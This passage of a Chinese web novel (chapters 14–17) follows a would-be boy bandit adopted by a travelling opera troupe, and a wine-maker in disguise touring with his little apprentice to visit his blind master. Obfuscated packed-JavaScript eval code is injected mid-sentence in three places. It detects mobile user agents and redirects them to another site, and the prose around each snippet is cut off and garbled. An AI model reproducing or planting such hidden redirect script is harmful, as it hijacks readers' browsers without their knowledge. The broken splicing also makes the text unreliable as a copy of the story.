“谁?烦请山大王再报下名号,我上了年纪有些耳背。”最前面赶车的是个比白无垢大三四十岁的中年人,看白无垢形单影只没啥架势,朝他嚷嚷道。 悍匪白无垢,心里是这么想的,但面前的人高他几个头,双方实力对比悬殊,嘴上却迫于压力,并没说出口。 眼见着来人噤声,人群中爆发出一阵嬉笑,根本不把他放在眼里,心想着怕是个山贼窝里被惯坏的孩子,全身上下没半点危险气息,却也学土匪出来打家劫舍,不给他点亏吃,他体验不到社会险恶。 你们别忽略我呀,我超凶呀,白无垢心里念着,可就是不敢说出来。唉,出师不利,遇见了这么多强劲的对手。 “悍匪?让我来告诉你,悍匪是个什么样子!”几个赤膊男人将白无垢团团围在中间,面露坏笑。 “你,你们想干什么?”被两个汉子抬着手架起,白无垢扑腾着不着地的双脚,有点慌了。 在沈佳期的指挥下,大家把白无垢五花大绑,塞进马车。 白无垢觉得这是他土匪路上的污点,什么都没劫到,居然还让对方绑走,这传出去,还不得让人笑掉大牙,耻辱啊耻辱…… 很快,柳源戏班就到达玉霄国,白无垢被人关在柴房里。沈佳期安顿好大家之后,便去瞧他。 “我白无垢这辈子下定决心要当个合格的土匪,要让你们承认我,还要去路上劫个十儿八两的银子。”白无垢摆着副虎落平阳被犬欺的阵势,碎碎念道。 沈佳期翻了个白眼,这小屁孩,真没志向,随即朝他丢了锭白银过去。白无垢眼冒金光地捡起来,不可置信地咬了口,好家伙,居然是真的! “那咱们说好了啊,这银子算是我劫来的,不是你给我的。”又像是害怕沈佳期会告密,彻底打乱自己成为悍匪的计划,又让二当家赵亮说成是只会添乱的废物,白无垢特地“嘱咐”他。 14. 戏子入画满临初7 白无垢宝贝地把银子塞进衣襟里,又揉了揉鸡窝般的乱发,讨好地望着沈佳期,憨笑着。 “行,都依你。”沈佳期嘴上应着,心里却唏嘘,这孩子怕不是对“悍匪”二字有什么误解,为什么立志要做坏蛋,当个好人不行吗? 全身上下都透着一股傻不愣登的气息,还说要当大奸大恶之人,这能得偿所愿才怪。 白无垢得了银子,心里美滋滋的,盘算着该什么时候回去跟霜满天炫耀一番。沈佳期也有自己的算盘,两人各怀揣着心思,并不言语,空气中弥漫着有默契的安静。 念着沈师父因为自己一句“想要个小师弟”,就绑了个人儿回来,花伶趁着大家不注意,想偷偷去柴房看看,这个小孩究竟是什么来历。 花伶记得,自己也是被沈师父捡回来的,不过半年时间,因为沈师父的保护和关爱,她从一个无家可归的小孩,变成了柳源戏班的团宠,收获了何婶和班里一众师兄们的喜欢。不管怎样,看见沈佳期对别的小孩上心,花伶就有一种自己的东西被人抢去的感觉,心里很难受。 花伶好奇,为什么师父总喜欢在路上捡一些活泼可爱的小孩子呢? 一路疑惑着,却看见烛光下斑驳着人影,有个熟悉的声音正在和白无垢攀谈着,正是沈师父。 “说说?为什么下山?又为什么想当个悍匪?”沈佳期蹲下,和白无垢并坐着。 “因为二当家嫌弃我成事不足败事有余,我也想做点什么,证明我不是无用之辈,能够像老大那样,做一个受人尊敬的土匪。”大概是因为十两银子的缘故,白无垢放下戒备,对沈佳期有问必答。 “就这?”闻言,沈佳期笑了笑。 果然是小孩子,爱意气用事。 想着这个小鬼一时半会可能还不会回寨里,又有一番想出人头地的心思,沈佳期心中的想法又深了几分,也许这小孩真的不适合当个土匪,适合留在戏班呢。 “那啥,咱们商量个事呗?”沈佳期望向他,眼里的笑意蓦地收拢。 白无垢看着沈佳期突然严肃的模样,不知道他打着什么算盘,默不作声。 “我收你为徒,好不好?”见白无垢不应声,沈佳期又重复道。 前面已经得到了沈佳期不出卖自己十两银子来处的保证,白无垢听了这句话以后,傲娇地一甩头,随即倒在了一旁的草垛里:“不要!若说一定要干点什么的话,我想成为霜满天那样的大土匪,不!老子要当耿安国第一的悍匪,劫不义之财,救苦难之人于水火,还要杀光这天下的坏人。” 听完这一席话,沈佳期终于能确定,敢情这孩子不是价值观有问题,他只是对“悍匪”一词有些误解,只是心里藏着一个想要奋力追赶超越的人。 花伶趴在门上,听着两人的对话,却一个没注意,把门推开了。“吱呀”一声后,花伶又淡定地关上了门,准备离去。 “谁在听墙角,进来!”听到有动静,沈佳期怒吼道。 花伶局促地搓着手手,小脚一抬,跨过门槛,垂头丧气地跨进去,唉,被发现了。 又是你,这个孩子,怎么老是偷偷摸摸地听师父跟别人的对话呢?沈佳期心中愤懑,拉长了脸。可仔细一想,上回红柳的事情要不是因为这小鬼及时拿来了书信,不知道会有什么着落呢,眉头随即又舒展了几分。 倒是白无垢,看着偷听不成反而把自己推进坑中的花伶,觉得仿佛仙女临世。这是他长这么大见到的第一个小女孩子,回风寨都是膀大腰圆的壮汉,也只有偶尔下山打劫才能看到些年纪稍微大点的女子,这么小只,白无垢真的觉得超级好看,越看越喜欢。 “花伶来领取自家的小师弟。”见偷听被撞破,花伶倒也不觉得尴尬,大方承认道,眼里似是装着皓月星辰。 小仙女怎么说都是对的,上一秒白无垢还吊儿郎当地拒绝了沈佳期,下一秒就被自己打了脸,并未反驳花伶说的话,只是如捣蒜般点着头。 自此,花伶就多了一条小尾巴,天天鞍前马后,“师姐”前“师姐”后叫得欢快,皮得很,大有一副赖在柳源戏班不走了的仗势。 七月中伏还差三天,也就是太子宴会的前三天,白无垢却出了事。午膳过后,他整个人躺在院子里的空地上,翻着白眼,口吐白沫,抽搐不止,这可吓坏了众人,赶紧为他寻了大夫。 大约过了十几分钟,大夫来了,是个花白胡子的老先生,一番望闻问切后,老先生拿出一根银针,扎了白无垢的手臂。 十几针下去,白无垢停止了抽搐,眼神也恢复了正常。 哪知恢复意识后白无垢第一句话便是:“去回风寨,让霜满天把解药给老子,不然老子死了,他就什么好处都捞不到了。” “我带着你一起去?”沈佳期提议。 大夫说白无垢中的是一种罕见的慢性毒,没有特制的解药是解不了的,说了句“老夫无能为力”,背着药箱就溜了。 “老子不想回去了,你告诉他,最好不要让老子死在外面,不然老子变成了鬼也会半夜去找他的。” 沈佳期打算亲自去会会霜满天,问一些关于白无垢的问题,顺便给无垢带回解药。 “你告诉他,这十两银子,是老子劫的。”白无垢赌气地丢过去一个硬邦邦的东西,砸得沈佳期胸口一疼。 白无垢本来是想在山下玩一阵子,然后上山跟霜满天炫耀自己“抢”到十两银子这件事。可是旧毒复发,让白无垢气不打一处来,霜满天这个小人,为了控制他,居然用下毒这么卑劣的手段。 沈佳期捡起来一看,不是石头,是上次给白无垢的那块白花花的银子,真的是被白无垢逗乐了,都什么时候了,命都快没了,还惦记着这十两银子呢。 依旧是足下如踩了烙铁般滚烫,沈佳期一人一马去了回风寨。 给山大王拜山头,见面礼是白无垢的十两银子。 霜满天盘着手里的银疙瘩,哭笑不得,不错,这小子长大了,硬气了。面上无动于衷,霜满天心里面却庆幸白无垢不在身边,不然他一定想办法揍死他,居然敢一个人跑出去这么久,连招呼都不打一声。 可听说白无垢身上的毒又复发了,霜满天眉头一皱,从抽屉里掏出了两个丹青瓷瓶,递给沈佳期。 “他要,便给他咯,不然死了可就不划算咯。霜某可不做赔本的买卖。” 什么赔本买卖,不过是刀子嘴豆腐心的说法罢了。霜满天心里有个全回风寨只有他一人知晓的秘密,这白无垢,哪里是什么将军遗孤,这是他八年前在长渝一战中拼死护下的亲弟弟,白霜两家家主的亲儿子。 霜满天把他藏在了回风寨这个土匪窝里这么多年,现在想想,也许是时候该出去了。等搜寻完芈家的证据,便万事俱备,届时他只差一阵东风,而这阵东风,很可能就是沈佳期。 赵亮看着两人的聊天,愣了神,当初霜满天就是想把白无垢留在身边,可现在,为何又放任不理,任由他去别处撒野,插了句:“大哥,这……” “反正这药是慢性的,他暂时又死不了,白无垢还会回来找我要解药的,既然肯留在你那里,就说明他也不是无处可去,你也需要他,不是吗?” 心思被一语道破,可沈佳期觉得面前的人话中有话。 沈佳期的确需要白无垢。从第一次见白无垢,他就觉得这个孩子不一样,装束一般,身上的玉佩却是价值连城的真货,身份必定非富即贵,更令人匪夷所思的是,戴着这么贵重物件的人,竟然在路上打劫。 “可他想当个悍匪啊。”沈佳期无奈,笑道。 “要是说他这是在怪我把他带到这个鸟不拉屎的地方,你信吗?”霜满天媚眼如丝,笑得花枝乱颤,这其中缘由他是知道的。 白无垢十岁那年,霜满天带着他去抢劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈佳期脑子里装了无数个疑问,就匆匆下了山。解铃还须系铃人,既然从霜满天嘴里问不出所以然来,或许可以尝试去问问白无垢。 一到柳源戏班,沈佳期立马抓住了陪花伶玩泥巴的白无垢,问道:“你是谁?” 白无垢根本不懂沈佳期的意思,像个纯良无辜的小孩,眸子清澈明亮,答道:“白无垢呀。” 沈佳期又捏了捏他身上戴着的那块玉佩:“这个玉佩是你的?” 白无垢倒是一点不介意,摘下来给沈佳期看,仿佛这还不如前几日给他的那十两银子宝贝,“对啊,我从小佩戴到大,有什么问题吗?” 看来他并不知道这块玉佩是个宝贝,沈佳期见问不出个所以然来,索性换了个思路。 “你家在哪里?家里可还有什么人?” “家?我没有家,从我记事开始,就住在回风寨。回风寨就是我家,寨子里面的哥哥叔叔们就是我的家人。” 这里面有问题,一定有问题,沈佳期见从白无垢身上也问不出来什么,索性放弃了,把解药交给他,又把霜满天交代的服用方法告诉他,再把临别前霜满天交代的关怀的话传达到位,就去忙别的事情了。 倒是白无垢,发现了花伶的存在,像捡着宝贝似的,有事没事就缠着花伶。花伶有了新的玩伴,也不像以前那样缠着叶童舟,叶童舟醋意自心底翻涌而起,可偏偏又嘴硬,并未表露一二。 至于收徒一事,在小花伶的鼓动下,沈佳期软磨硬泡,威逼利诱,白无垢最后勉强同意当他的半个徒弟。 白无垢本来就是从土匪窝里出来的,讲大道理他是不听的,至于唱戏,还要看他一个小破孩心情好坏。他心情大好的时候,也会手舞足蹈地练些把式,沈佳期踱着步子走过庭院,偶尔会往里张望几眼,见此情景,也只是轻描淡写地一笑。 15. 酒尽桃花凉7 醴泉山的小径上,一黑一白两道身影共骑着一匹马,正穿越重重密林,朝着山下飞驰而去,是花雕和慕卿。 “狮虎我们为什么要走啊?”花雕坐在慕卿的前面,看不到他的神情,只能仰起头去看他,看他宽圆的下巴、高挺的鼻梁和画得精致的妆容。 慕卿面上风平浪静,心中却波涛汹涌,本来好不容易把这个小鬼送走,结果她自己又回来了,也不知道是该喜还是该忧。 “我们在醴泉山呆了好几个月了,已经酿了好多酒了,那里的酒窖装不下了。” “哦。”花雕似懂非懂地应了句,窝在他怀里,目光又转移到面前的马鬃上。 本应是双手拉绳,念在花雕初次骑马,慕卿特地有一只手把缰绳拉得很松,这样万一花雕没抓紧,也可以第一时间搂住她。 事实是,慕卿的蛊毒之症每三个月发作一次,每次发作后他都会换个地方,以此计算着下次发作的日子。 “花儿,”慕卿一手拉着缰绳,另一只手把花雕虚揽着,“去跟娘亲道个别吧,我们明年春天再来看她。” “嗯。”花雕从来没有骑过马,相对于害怕,她脸上更多的是兴奋。 慕卿初见花雕,是在一个叫西梁的边陲小镇,西梁东面有一座山叫做望南山,花雕的娘亲就埋在那里。翻过了山,就是耿安国都城临初,得需整整半天的路程。而西梁的北面,就是醴泉山。 醴泉山虽然也和临初接壤,但它和望南山不同,更加幽深寂静,因远离尘嚣,更多的是山间的自然和纯净,连空气里都弥漫着若有若无的生命力,慕卿每年的第一批酒就在这里酿成。 正是六月,醴泉山上郁郁葱葱,鸟雀不计其数,各种鸟鸣声充斥在耳畔。偶尔传来几声布谷鸟的鸣叫声,悠远而绵长。 慕卿勒了马,停在一块草地上,打算喂饱了良驹好继续行进。马儿正悠悠吃着青草,小花雕蹲在一边,细数白马长长的睫毛,看它津津有味地咀嚼着,最终感叹了句:“磨精,你看,它的眼睛好大啊。” “它叫追风。”慕卿告诉她。 花雕还没看个够,就被慕卿一把捞上马,拉了缰绳,继续前行。 告别了醴泉山,马车来到望南山的时候已经是黄昏,花雕抱着那块冰冷的墓碑,低声喃喃道:“娘,小花要走了,小花会想你的,我们明年再来看你。” 说罢,还不舍地朝墓碑挥了挥手,却再没像上次那样哭得死去活来。毕竟,在她小小的心里,某个人逐渐替代了娘亲的地位。 “磨精我们走吧。” 慕卿本来正在一旁喂马,大手却被小花一把拉住,心里暗惊了一下,这么快?马都没吃饱呢,上次可不是这个样子。随即翻了个白眼,在心里默念道:“没良心的小丫头,有了师父忘了娘亲。” 告别了西梁,花雕和慕卿去了全县。 全县是一个沿江分布的富饶之地,种植业和渔业发达。一方秀水养一方人杰地灵,全县历史上出过不少能人,他们在包括耿安的各国担任要职。然而这些人中热血之士颇多,在自身飞鸿腾达以后,不少人会选择出财出力为全县添砖添瓦,最后回归故土养老。 慕卿在这里有个老主顾叫赵轲,是一个归田卸甲的将军,颇爱琼浆玉酿,偏偏慕卿的酒颇得他老人家赏识,两人也常常聊得很投机,一来二去,慕卿就成了赵家的座上宾。 慕卿会来全县,不仅仅是因为赵轲,更是因为这里的水土肥沃,粮食质量上乘,是酿酒和制曲的绝佳材料。麦子、大米、麸皮、蓼草,都是制曲的原料,通常因酒的品种不同而选择不同的制曲方式。 粉碎、成型、堆积、发酵、折曲,这一系列工艺并不比酿酒简单,当在全县的首批酒被储存进酒窖的时候,慕卿今年的第一批曲也成了型。 慕卿选了批好酒,带着花雕一起去了赵府,赵轲见慕卿来了,乐得眉开眼笑。 于是乎,慕卿带着花雕,开启了隔三差五在赵府混吃混喝的日子。 山珍海味,珍馐玉食,赵府好吃的食物数不胜数,花雕肚子里的馋虫被勾引出来,敞开肚皮吃得津津有味。 慕卿呵斥她不懂礼数,花雕嘟着小嘴:“这么一大桌子,不吃完不是浪费了嘛。” 赵将军抚着微白的胡须,乐得哈哈大笑:“不错,能吃是福,小丫头正长身子,多吃点长得快。” 赵将军家的九公子赵泽毅,比花雕大不了几个年岁,本来最近正跟父亲赌气说要绝食,看到花雕一副毫不避讳、把赵府当自己家的模样,父亲还为此乐呵呵的,赵泽毅如临大敌,捧着碗筷跟她抢着吃起来。 两个孩子的一番举动逗得老将军眉眼又弯了几分。 饭后,慕卿同赵将军攀谈着,花雕跟赵泽毅在院子里和丫鬟佣人们玩起了捉迷藏。 花雕没有玩过捉迷藏,以为捉迷藏就是躲在一个角落里,让别人一直找不到就赢了,猫在假山的缝隙里整整一个下午,最后沉沉地睡了过去。 赵泽毅寻日里跟着赵府的丫鬟小厮们一起玩捉迷藏,都没有花雕的参与,一时间还没适应她的到来,把花雕忘了。 直到日暮西山,他才想起来,在赵府找了一圈,都没有找到花雕的影子,慌乱地去告诉自家父亲:“爹爹,我跟花雕刚才在玩捉迷藏,她也不知藏哪里去了,我找不到她。” 慕卿本来和赵老将军在对弈,听闻此言,慌忙起身:“在哪里不见的?快带我去看看!” 最后,花雕窝在个馨香四溢的怀抱,朦朦胧胧问他:“磨精,小花捉迷藏赢了吗?” 因为常去赵府,慢慢地,两个孩子也熟识起来,慕卿开玩笑问花雕:“把你留在这里,永远陪着小哥哥玩好不好?” 花雕摇了摇脑袋:“不要,小花要跟着狮虎一起,狮虎去哪里,我也去哪里。” 慕卿无奈地摇了摇头:“唉……” 时间飞逝,一转眼又是三个月,慕卿盘算好了时间,打算把花雕放在赵府几天。 有点不舍得,又怕她惹出什么乱子,慕卿蹲在花雕面前,看着她漫不经心的模样,嘱咐道:“师父这几天要忙,把你安置在这里,你要乖乖的啊。” 花雕不哭也不闹,心中笃定慕卿说的话一定会兑现,倾过身子去,在他脸上落下一个轻轻的吻。 如同羽毛落在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598157|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,挠得慕卿心里痒痒的。 “磨精你去忙吧,你不在的日子,我会乖乖的,会好好吃饭,也会按时想你。” 慕卿前脚刚走,后脚花雕就安静得不像话,赵泽毅看着她一脸失魂落魄的模样,朝她做着鬼脸,打趣道:“你师父不要你了,把你丢在这里了。” 花雕一脚飞踹过去:“你走开,磨精一向说话算数,他不会不要小花的。” 从最开始相遇黑夜中的那一句“在那里等我”,到后来,慕卿跟她说过无数次“等我回来”。每一次,花雕都会乖乖地等着他,有时候是片刻,有时候是半晌,有时候是大半天,不知道这次慕卿要去多久。 “那你说说,你师父去干嘛去了?” “我……我也不知道。” “你看吧,你连她去干嘛去了都不知道,说不定她丢下你一个人,跟她的如意郎君私奔去了,天涯海角,你再也看不到她了。” 花雕仔细地想了一番,的确,以前慕卿出去,不是去买东西,就是去卖酒,这些,都会告诉她。而这次,他什么都没说,只是说出去几天。 听完赵泽毅的一番话,花雕更没有精神了,饭也吃得不多,赵老将军纳闷,这小丫头前前后后变化怎么这么大?便让赵泽毅带着花雕出去散散心。 赵泽毅当然知道原因是自己的不当言论,给花雕买了一只小白兔赔礼道歉:“你师父不会丢下你的,她很快就会回来的”。 为什么送兔子呢?因为赵泽毅觉得这种乖巧温顺的小动物,乍一看跟花雕有点像。 花雕抱着兔子坐在花园的草地上,喃喃道:“兔兔你说他什么时候会回来呀?小花想他。” 说好的定时想念,却泛滥成河,成了无时无刻不浸入骨髓的思念。 一天,两天,三天,四天…… 除去饮食之类的活动,花雕大多时候都坐在府前的白玉阶上,望向慕卿离开的方向。 第五天,慕卿拉着马车如约出现在赵府,车还没停稳,花雕一把鼻涕一把眼泪地扑了上去:“磨精你回来了,他们说你不要我了,说你跟着你的如意郎君走了。” 慕卿把花雕抱在身前,拍了拍她的背,轻轻凑到她耳边,用低沉清冽的嗓音告诉她:“我就是如意郎君。” “嗯?” 并未解释,慕卿抱着花雕下了车,跟赵将军浅浅地聊了几句,然后告别。 赵泽毅立在一遍,把小白兔塞在她手中,尔后笑嘻嘻说了句:“小花妹妹,后会有期。” 马蹄声哒哒,赵老将军和赵泽毅目送着两人远去,花雕从窗子里探出脑袋,朝他们一直挥着手。 “父亲,慕姐姐要带着花儿妹妹去哪里呀?” “有些人,注定四海为家。”马车再也看不见,赵老将军在夕阳的余晖里长长叹了一口气,拉着赵泽毅转身回屋。 没走多远,花雕坐在马车后厢里,揭开帷幔,探出小脑袋问道:“狮虎,如意郎君是什么呀?” 慕卿专心驾车,留给她个优雅唯美的背影,答道:“是男人。” “哦。”这下花雕放心了,因为她笃定,自家师父是个男子。 16. 酒尽桃花凉8 除了酿酒之外,慕卿也想让花雕见识不同地区的风物和人文。 此行他们去的是湖浙,湖浙临海,水产丰富。正值金秋季节,鱼蟹肥美,花雕每天都吃得肚皮滚圆,脸上都开始变得红润有光泽。 一转眼又是三个月,慕卿把花雕托付给了邻家渔民,打算自己去客栈住几天。花雕倒也很乖,笃定慕卿不会再将她撇下,不吵也不闹,每天帮着渔民夫妇两人收收网、捡捡鱼,日子过得倒也很快。 和往常的“等我回来”一样,慕卿又在几天后飘飘然而至,接走花雕的时候,还不忘把赶集买的物资分一大半给渔民夫妇。 隔天,花雕一睁开眼,慕卿又在收拾着屋子和打包行李,他还特地给花雕包了个小包裹,里面有她的衣物零嘴和各种小玩意儿。 花雕开始慢慢习惯这种浪迹天涯、四海为家的生活,也许明天一睁开眼,又是一个新的旅程。 其实花雕觉得去哪里倒是无所谓,只要有慕卿在身边,哪里都是人间仙境,胜却凡境无数玉宇楼阁。 收拾完行李,慕卿又把屋中的酒一坛坛搬进地窖。 眼见着小花雕睡眼惺忪地洗漱,一副摇摇欲坠的模样,慕卿赶紧收走她脚边的凳子,怕她磕着,偶尔回头看着她在屋子里摸东摸西。 “饿了吧,快去吃饭,在灶台上的锅里,吃完了我们就出发。”眼见着小丫头总算是洗漱完了,慕卿把最后的一个酒坛搬进酒窖,还不忘嘱咐她。 天气越来越冷,放在外面的饭菜稍不留神就凉了,小花雕又如此嗜睡,慕卿只能把饭菜放在锅里,用热水沏着。 “这次我们又要去哪里呀?”花雕吃着温热的早饭,问他。 慕卿对桌而坐,捧着脸看她吃饭的模样:“过年了,我想去看看师父。” 花雕的记忆里没有了过年的一丝半点,只问道:“过年有好吃的吗?” “有,只要你乖乖听话,想吃什么好吃的让我师父给你买。”慕卿莞尔,真是个小馋猫。 “师父的师父,那是谁?”花雕不解。 也许是听得多了,花雕慢慢意识到,自己一直说的“狮虎”其实是“师父”,但没有人告诉她,“磨精”应该是“慕卿”,只是渐渐喊成了习惯。 “叫无涯子,一个很厉害的糟老头子。”慕卿有问必答,完全将之前教花雕的“食不言,寝不语”抛在脑后。 “有多厉害,有师父你厉害吗?”花雕更是好奇。 慕卿一时也难以形容,只是大概地说道:“怎么说呢,飞檐走壁,来无影去无踪。厉害吧?” “不是说‘青出于蓝而胜于蓝’,师父你有那么厉害吗?”花雕扒着碗里的米粒,还不忘八卦一番,纵使师父厨艺一绝,却不及师父的师父新奇。 “丫头,这个词不是这么用的,青出于蓝,你出于我,可是你看看,你有比我更厉害吗?” 花雕似懂非懂地点点头,对慕卿的话投以些许的赞同。 慕卿突然想到了什么,赶忙交代:“丫头,师父的师父看不到,你到时候别被吓着了。” 花雕闻言,并不觉得惊吓,反而更多的是担忧:“看不见吗?那他不是很可怜,他吃饭怎么办,外出买东西看不见,别人少找他钱怎么办?” 慕卿噗嗤一声笑了,师父的眼睛是年少时与人比试时弄伤的。那个时候还未全盲,他倒也任性,索性弃了视觉,用听觉和触觉来感受这个世界,听声辩位,摸骨知形。 “没事,他是个高手,万人之上的高手。”听得慕卿一番解释,花雕心中更加景仰。 两人是划船去的,湖水里有着些许的冰碴子,一路颠颠簸簸,走得并不顺利,险些有几次翻了船。 弯弯绕绕,远远地就看见有座茅屋,还冒着几缕炊烟。 “师父,你能不能换个地儿住,徒儿来这里找你太不容易了,呜呜呜,有好几次都差点翻了船。”慕卿熟练地推门而入,直奔屋内正在推磨的古稀老人,一把抱住大腿,一番哭诉。 见老人不理他,慕卿便自顾自说道:“师父,我在耿安国大大小小的宅子,您看上了哪处,尽管跟我说,我给您搬过去。” 屋内的老人双目紧闭,一脚踹开他,哼哼了几声,不再理他。 唉,这个臭小子都这么大了,还跟小时候一样皮。 也许只有在他面前,慕卿才会卸下所有的防备,自登上来这座岛的那艘小船开始,他就换上了男装,卸下了所有的妆容。 剑眉横飞,白衣胜雪,身佩了柄长剑。花雕当时看得都惊呆了,这是她第一次认真看自家师父男装的模样,除去这次,她也就在他们相遇的第二天见过一次。 无涯子继续摸索,推着石磨磨着豆子,奶黄色的豆浆和豆渣顺着磨子淌下去,一滴滴地汇集到桶里。 花雕本想去帮他推磨,却被桶里的物体吸引过去,觉得这一定又是什么好吃的,伸出小手去蘸了蘸,味道有些生涩,又吐了出来。 石墨悠悠地转着,无涯子嘀咕了句:“别叫我师父,我可没认你这个徒弟。” “可是师父……”慕卿表情有点受伤,没一会儿又恢复自如。 “我们喝过拜师酒了吗?行过拜师礼了吗?都没有!什么都没有,既然如此,你就不是我徒弟,哼。” “那我们现在拜?师父请喝酒。”慕卿打开了随身带来的两个坛子,随手摸过灶台上的一个陶碗,斟了满满一碗,递给无涯子。 “你呀,就仗着酿得出几分模样的酒,就来威胁我当你师父,哼哼哼。”无涯子表情虽然是拒绝,可手却出其不意地去靠近那碗酒。 并不是接酒,而是手腕一翻,伸出两根遒劲的手指,向慕卿袭去,试图将慕卿的那碗酒打落在地,却被慕卿察觉。 酒盏离手,在空中翻转了一周,里面的酒尽数被洒了出去,慕卿打回无涯子伸过来的手,又神态自若地去接那空碗。 “师父别来无恙呀。”只是转眼间,那碗酒被悉数装进了慕卿手中的陶碗里,摇摇晃晃,却滴酒未漏,慕卿露出一大口白牙,痞笑道。 无涯子心生安慰,一年不见,看来臭小子并未疏于练武。 师徒二人一唱一和,花雕却觉得,眼前这样的慕卿有些陌生。虽然那熟悉的香味还在,那一贯宠溺温柔的语气还在,可那如瀑的长发不再绾成各种好看的模样,精致的妆容被悉数卸去,就连平时用衣绸遮挡住的喉结也凸显无疑,整个像换了个人似的,她还是习惯那个女装的“他”,螓首蛾眉,巧笑嫣然。 “这是你徒弟?”无涯子感受到屋内还有别人,脚步很轻,看来还是个小娃子。慕卿终于注意到了石磨边偷吃的花雕,下一秒她就像只小鸡仔般被拎到了无涯子面前。 “师父的师父好。”花雕学着慕卿的样子,倒了满满一碗酒,鞠了个躬,递给了无涯子,算是问候礼。 慕卿教过她,酒满茶浅。酒要倒满,方能彰显大口喝酒大块吃肉的豪气,茶要倒得七分满,还有三分留给人情。 “叫师公。”慕卿纠正。 “哦,师公好。”花雕又大大地鞠了个躬,毕恭毕敬地把酒盏往前递,却偷偷地去看无涯子的表情。师公看不见,他怎么知道酒盏在哪里,怎么喝酒,花雕小小的心里写满了大大的疑惑。 殊不知无涯子靠的是气味去辨认酒的方位。 “好好好,你好我好大家都好。臭小子的徒弟,啧啧啧,不错不错,以后等她学有所成,把你的酿酒手艺尽学了去,看你还能拿什么要挟我收你为徒?”无涯子淡然自若地接过花雕手中的酒,就好像看得见一样,尔后一饮而尽,罢了还意犹未尽地抹了抹胡子上沾的酒沫子。 “哼,那我不教她了。”慕卿一仰头,满脸傲娇道。 反正他的笨丫头也学不会,慕卿心里念叨着。 “哼,枉为师名。”无涯子听出了慕卿话里的玩笑,也不恼,继续跟他调侃着。 慕卿倒觉得无所谓,反正他的小丫头还小,人又好糊弄又容易满足,来日方长。 黄山岛四面临泊澜湖,与外隔绝,出行基本靠船,冬季水面渐渐冰封,三人基本没有再外出。 天气越来越冷,尽管毛裘和皮衣裹了一层又一层,不过这并不影响花雕开心。她有时会跟在无涯子身后,看无涯子拄着一根枯木,在地上敲敲打打, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花雕没见过银锭,好奇地把玩着:“好漂亮的石头呀!” 无涯子面朝慕卿,露出不满,慕卿读懂了,那意思是,看你怎么教的孩子,她连钱都不认识。 慕卿无辜得像一个受了委屈的孩子,真金白银太沉,平日里大的花销他都是用的银票,小的花销都用铜钱,小丫头不认识银锭也很正常嘛。再说了,两个人带着真金白银四处漂也很扎眼,这不明摆着跟别人暗示“我有钱,快来打劫我吧”。 “这是压岁钱。可以镇邪驱鬼,保你岁岁平安,免受妖魔鬼怪的侵扰。”无涯子并不怪花雕,见机便解释道。 只听懂了那一句“这是钱”的花雕,宝贝似地将银锭揣进了自己的口袋,她有一个小想法,暂时还不想告诉任何人。 日子过得很快,烹茶煮酒,赏雪摘菜,倒也逍遥快活,转眼泊澜湖的冰雪渐渐融去,又快到月半。 “师父,我先走一步,过几天还望您能帮我把小花送出黄山岛。” 花雕正抱着一颗从地里新揪的大白菜,迷茫地看着慕卿,这是又要去哪里? “小花乖,师父有事,先走几天,过几天师公会带着你来找我的哈。”慕卿嘱咐道,又摸了摸她的头。 看了看一无所知的花雕,无涯子一副顿悟的表情,轻轻问道:“你找到解决之法了吗?” “没有。”慕卿答得干脆,也是无可奈何。 毕竟是空山谷的东西,在那个锱铢必较、唯利是图的地方,又有多少人情可言,说命运弄人、出身不好是他的不幸,幸运的是,他早就离开了那里。 从前没有找到,以后花雕在身边,就更不便去寻找了,慕卿突然觉得,他和花雕两个人就这样过一辈子,似乎也不错? 无涯子只是轻轻地摇了摇头,感受着竹筏上的那一抹嫣红撑杆远去,面上的表情别有意味。 外面的世界不比黄山岛,不可以卸下所有的伪装,不能推心置腹地去依靠,连性别都得模糊掉。 傻徒弟,这又是何必,自己本来就是负重前行,又何必拖泥带水再捎上一个小姑娘呢? 几日后,无涯子如约将小花送到码头。 “磨精,师公看不见,他回去不会迷路吗?”花雕二人正欲离去,看无涯子伫立在码头,不禁疑惑道。 “不会,他会通过水流的方向感知岛屿的位置。” 花雕闭上眼,想学着无涯子的样子感受一番,却只听得耳边风声乱窜,不由得感慨:“师公太厉害了!” 17. 酒尽桃花凉9 告别无涯子,在西梁望南山缅怀过小花娘亲,慕卿带着花雕正赶往醴泉山。 久经长途跋涉,二人风尘仆仆,此时花雕正捧着兜瓜子,端坐在马车内的软榻上,嗑得倒是不亦乐乎,一副“瓜子在手,天下我有,凡尘俗事,奈我如何”的模样。 慕卿顾自驾着车,好生无趣,便朝车内人伸手:“丫头,赏一把呗。” 车内人握着粉嫩的拳,将拳中物尽数添在大手内,发觉不够,又从裙上的瓜子堆里抓了一把,添了进去。 像是个讨要糖果得到满足的小孩,慕卿翘着二郎腿,一手赶着马车,另一只手嗑着瓜子,脚下洒了满地的瓜子壳。 刚下马车,花雕宝贝似地捧着一个荷包,满脸期待地递给慕卿。 “还你钱钱,谢谢师父。”花雕声音甜甜的,犹如春日里醴泉山上潺潺的溪水,干净得一尘不染。 荷包里装着的,是一文文的铜币,总共四十八枚,慕卿过去一年里也教她数数,这次是她自己数清楚的。 黄山岛除夕之夜,无涯子给了花雕十两白银,还怪慕卿没教花雕认钱。花雕把钱留着一直没花,现在她知道了,一两黄金可以换十两白银,一两白银可以换一千铜钱,一个铜钱就可以买两个馒头。师公给的钱可以买两万个馒头,无疑是一笔巨款。 